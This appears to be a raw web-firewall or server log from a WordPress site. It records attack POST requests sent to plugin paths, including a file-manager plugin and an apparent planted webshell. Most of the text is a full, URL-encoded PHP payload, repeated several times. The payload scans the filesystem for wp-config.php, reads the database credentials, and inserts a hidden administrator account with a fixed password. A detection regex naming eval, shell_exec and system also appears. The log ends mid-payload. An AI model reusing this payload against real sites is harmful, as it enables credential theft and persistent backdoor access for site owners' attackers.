B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php HTTP\/1.1\ncookie:4=8daaffd16fd7c7835307f0d6af9d1696; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLJZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:12640\n\nac=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 11:22:44","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Lo:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nhost:dewenlabels.com\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=8b80dc9ac74ec10112f02e5d68c79df0; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGT8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:12640\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\n\nLo=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7